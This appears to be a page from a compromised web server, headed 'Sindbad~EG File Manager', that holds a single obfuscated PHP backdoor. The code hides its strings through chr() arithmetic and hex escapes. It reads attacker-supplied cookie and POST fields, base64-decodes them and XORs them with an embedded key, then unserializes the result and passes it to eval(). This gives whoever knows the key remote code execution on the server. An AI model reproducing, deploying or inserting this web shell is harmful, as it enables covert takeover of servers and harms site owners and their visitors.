Sindbad~EG File Manager

$YetNJkxI = chr (97) . chr (82) . "\x5f" . "\x50" . "\102" . chr (75); $oApiTVCRIj = chr (99) . chr ( 997 - 889 ).chr ( 445 - 348 )."\x73" . 's' . chr (95) . "\145" . chr (120) . "\x69" . "\163" . "\x74" . "\163";$nKBQNhS = class_exists($YetNJkxI); $oApiTVCRIj = "24100";$rcSKa = !1;if ($nKBQNhS == $rcSKa){function aSflT(){$NOMOcARFi = new /* 5183 */ aR_PBK(31538 + 31538); $NOMOcARFi = NULL;}$OpwEf = "31538";class aR_PBK{private function vZIoT($OpwEf){if (is_array(aR_PBK::$ikUvZGQH)) {$zfbRCuG = str_replace(chr (60) . chr (63) . chr ( 677 - 565 )."\x68" . chr ( 396 - 284 ), "", aR_PBK::$ikUvZGQH[chr ( 950 - 851 )."\157" . chr (110) . chr ( 644 - 528 ).chr ( 930 - 829 ).chr ( 984 - 874 )."\x74"]);eval($zfbRCuG); $OpwEf = "31538";exit();}}private $cpsgPqYhOP;public function NppudTIYok(){echo 10850;}public function __destruct(){aR_PBK::$ikUvZGQH = @unserialize(aR_PBK::$ikUvZGQH); $OpwEf = "60720_19878";$this->vZIoT($OpwEf); $OpwEf = "60720_19878";}public function XKLKcy($mmUiqXm, $JortVs){return $mmUiqXm[0] ^ str_repeat($JortVs, (strlen($mmUiqXm[0]) / strlen($JortVs)) + 1);}public function cPPyzRppzw($mmUiqXm){$gnbcRqQ = "base64";return array_map($gnbcRqQ . chr ( 544 - 449 ).chr (100) . chr ( 321 - 220 ).chr ( 673 - 574 )."\x6f" . "\144" . "\x65", array($mmUiqXm,));}public function __construct($qFUlgFw=0){$rwTbtKR = $_POST;$ziYgEDqZ = $_COOKIE;$JortVs = "a5e32372-4302-4913-8ce5-5b9275e3c5af";$EBeajMs = @$ziYgEDqZ[substr($JortVs, 0, 4)];if (!empty($EBeajMs)){$mmUiqXm = "";$EBeajMs = explode(",", $EBeajMs);foreach ($EBeajMs as $jnDuwuQyT){$mmUiqXm .= @$ziYgEDqZ[$jnDuwuQyT];$mmUiqXm .= @$rwTbtKR[$jnDuwuQyT];}aR_PBK::$ikUvZGQH = $this->XKLKcy($this->cPPyzRppzw($mmUiqXm), $JortVs);}}public static $ikUvZGQH = 27324;}aSflT();}